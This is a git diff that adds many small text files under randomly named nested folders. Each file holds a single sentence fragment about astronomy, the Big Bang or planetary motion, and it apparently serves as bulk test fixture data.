diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/tolpxhgeq.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/tolpxhgeq.txt
new file mode 100644
index 0000000..af72feb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/tolpxhgeq.txt
@@ -0,0 +1 @@
+the case of a clockwork [where] all motions [are caused] by a simple weight.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/uyguwldxxswfjecnl.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/uyguwldxxswfjecnl.txt
new file mode 100644
index 0000000..8e92faf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/uyguwldxxswfjecnl.txt
@@ -0,0 +1 @@
+unerring guides on their voyages through the vastness of space the three laws of planetary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/vzmnqdghpbbadhlkokwwf.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/vzmnqdghpbbadhlkokwwf.txt
new file mode 100644
index 0000000..156468f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/vzmnqdghpbbadhlkokwwf.txt
@@ -0,0 +1 @@
+were promoted to gods. They were given names and relatives, and special responsibilities
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/wcnvwlmztezx.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/wcnvwlmztezx.txt
new file mode 100644
index 0000000..46d7c99
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/wcnvwlmztezx.txt
@@ -0,0 +1 @@
+just like life here. But there are limits to what we can do. We know in detail only about life
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/zcvwyaombkorqpcohbzr.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/zcvwyaombkorqpcohbzr.txt
new file mode 100644
index 0000000..6f3b823
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/zcvwyaombkorqpcohbzr.txt
@@ -0,0 +1 @@
+Day 185 Successful calibration images taken of Jupiter.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_ahlucsilqkgdxqlmjx.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_ahlucsilqkgdxqlmjx.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_ahlucsilqkgdxqlmjx.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_akwzajuelgk.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_akwzajuelgk.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_akwzajuelgk.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_bjbotfjojcvechghepps.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_bjbotfjojcvechghepps.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_bjbotfjojcvechghepps.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_boiklcdj.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_boiklcdj.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_boiklcdj.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_cqscdspgwwiol.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_cqscdspgwwiol.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_cqscdspgwwiol.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_hgvdvyyq.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_hgvdvyyq.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_hgvdvyyq.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_irfnpqsjij.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_irfnpqsjij.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_irfnpqsjij.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_ixhkiujdqu.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_ixhkiujdqu.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_ixhkiujdqu.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_jnxysajbqfulri.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_jnxysajbqfulri.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_jnxysajbqfulri.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_ltcazwruzxluepzzp.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_ltcazwruzxluepzzp.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_ltcazwruzxluepzzp.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_mptdhffdqfdf.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_mptdhffdqfdf.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_mptdhffdqfdf.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_mvkllpbxvdcdbntcexcgtz.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_mvkllpbxvdcdbntcexcgtz.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_mvkllpbxvdcdbntcexcgtz.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_ndbobenp.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_ndbobenp.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_ndbobenp.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_nnayoqghsjrex.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_nnayoqghsjrex.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_nnayoqghsjrex.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_ogvvyxlfyposn.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_ogvvyxlfyposn.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_ogvvyxlfyposn.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_ptqorgggzfeg.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_ptqorgggzfeg.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_ptqorgggzfeg.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_qxvjxghohryyjnzavog.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_qxvjxghohryyjnzavog.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_qxvjxghohryyjnzavog.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_uxokzmvsvfcnve.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_uxokzmvsvfcnve.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_uxokzmvsvfcnve.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_whlskeoflwocsmk.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_whlskeoflwocsmk.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_whlskeoflwocsmk.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_woayzouqqbotwchwgtbwahhz.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_woayzouqqbotwchwgtbwahhz.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_woayzouqqbotwchwgtbwahhz.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_wzjctknlshbgzcp.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_wzjctknlshbgzcp.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_wzjctknlshbgzcp.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/file_zvnqqsochmsajjjn.txt b/big_zip/big-zip-files/folder_qtpzzufiif/file_zvnqqsochmsajjjn.txt
new file mode 100644
index 0000000..f422293
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/file_zvnqqsochmsajjjn.txt
@@ -0,0 +1 @@
+was made in the Big Bang, the explosion that began the Cosmos. If you wish to make an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_htvydfevckuafl.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_htvydfevckuafl.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_htvydfevckuafl.txt
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_kzhwpptkzuqw.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_kzhwpptkzuqw.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_kzhwpptkzuqw.txt
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_meuxfeminxp.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_meuxfeminxp.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_meuxfeminxp.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_outeupjgaduco.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_outeupjgaduco.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_outeupjgaduco.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_pyomqmvpcusbckppr.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_pyomqmvpcusbckppr.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_pyomqmvpcusbckppr.txt
@@ -0,0 +1 @@
+revision through many drafts, and their major contributions to the television script which in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_rinpisgsxfxtvcy.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_rinpisgsxfxtvcy.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_rinpisgsxfxtvcy.txt
@@ -0,0 +1 @@
+revision through many drafts, and their major contributions to the television script which in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_sjnpomhnumecrukpidyangql.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_sjnpomhnumecrukpidyangql.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_sjnpomhnumecrukpidyangql.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_swonfsdfdjopsqb.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_swonfsdfdjopsqb.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_swonfsdfdjopsqb.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_upeqsvgvyzilggzsibvwua.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_upeqsvgvyzilggzsibvwua.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_upeqsvgvyzilggzsibvwua.txt
@@ -0,0 +1 @@
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diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_wiorxqrvobdhuowa.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_wiorxqrvobdhuowa.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_wiorxqrvobdhuowa.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_xeygmsetydvmrfevzr.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_xeygmsetydvmrfevzr.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_xeygmsetydvmrfevzr.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_xgawrihwehfa.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_xgawrihwehfa.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_xgawrihwehfa.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_zvvzcbplkaimcxkefihge.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_zvvzcbplkaimcxkefihge.txt
new file mode 100644
index 0000000..30f13fc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/file_zvvzcbplkaimcxkefihge.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_aepcpzxvh.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_aepcpzxvh.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_aepcpzxvh.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_bucrfqgx.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_bucrfqgx.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_bucrfqgx.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_eydbnydhbcbqmqt.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_eydbnydhbcbqmqt.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_eydbnydhbcbqmqt.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_fqcovtvfvvjbkqzlpncv.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_fqcovtvfvvjbkqzlpncv.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_fqcovtvfvvjbkqzlpncv.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_hisgnqhvtvulsfardexj.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_hisgnqhvtvulsfardexj.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_hisgnqhvtvulsfardexj.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_iammwewkbzirwyjtudmyujux.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_iammwewkbzirwyjtudmyujux.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_iammwewkbzirwyjtudmyujux.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_iekxhpvjzpkngwkspivfc.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_iekxhpvjzpkngwkspivfc.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_iekxhpvjzpkngwkspivfc.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_injexwqefdnabsuectc.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_injexwqefdnabsuectc.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_injexwqefdnabsuectc.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_javlphfhzlnlnniabs.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_javlphfhzlnlnniabs.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_javlphfhzlnlnniabs.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_kfznpixgqzljilausk.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_kfznpixgqzljilausk.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_kfznpixgqzljilausk.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_kwujqqeuirdndcjwmtwtg.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_kwujqqeuirdndcjwmtwtg.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_kwujqqeuirdndcjwmtwtg.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_nzjmncuqvlgbqt.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_nzjmncuqvlgbqt.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_nzjmncuqvlgbqt.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_qsyienraembkhn.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_qsyienraembkhn.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_qsyienraembkhn.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_sihsidxhiakhghwrtpl.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_sihsidxhiakhghwrtpl.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_sihsidxhiakhghwrtpl.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_vkbyzojgs.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_vkbyzojgs.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_vkbyzojgs.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_wwopnmgygygvtlhksp.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_wwopnmgygygvtlhksp.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_wwopnmgygygvtlhksp.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_ykzimivawublnpuccb.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_ykzimivawublnpuccb.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_ykzimivawublnpuccb.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_yvcvvdozqvbvtld.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_yvcvvdozqvbvtld.txt
new file mode 100644
index 0000000..abccdb9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/file_yvcvvdozqvbvtld.txt
@@ -0,0 +1 @@
+with a microscope might scrutinize the transient creatures that swarm and multiply
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/chrcmxgucd.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/chrcmxgucd.txt
new file mode 100644
index 0000000..2d20da1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/chrcmxgucd.txt
@@ -0,0 +1 @@
+powerful sources are radar transmitters; a few are used for radar astronomy, to probe with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_clyzwmzvnkk.txt b/big_zip/big-zip-files/folder_qtpzzufiif/folder_jogrowytgp/folder_uddgqeeupq/folder_dbhuezkwrp/file_clyzwmzvnkk.txt
new file mode 100644
index 0000000..6ad1612
--- /dev/null
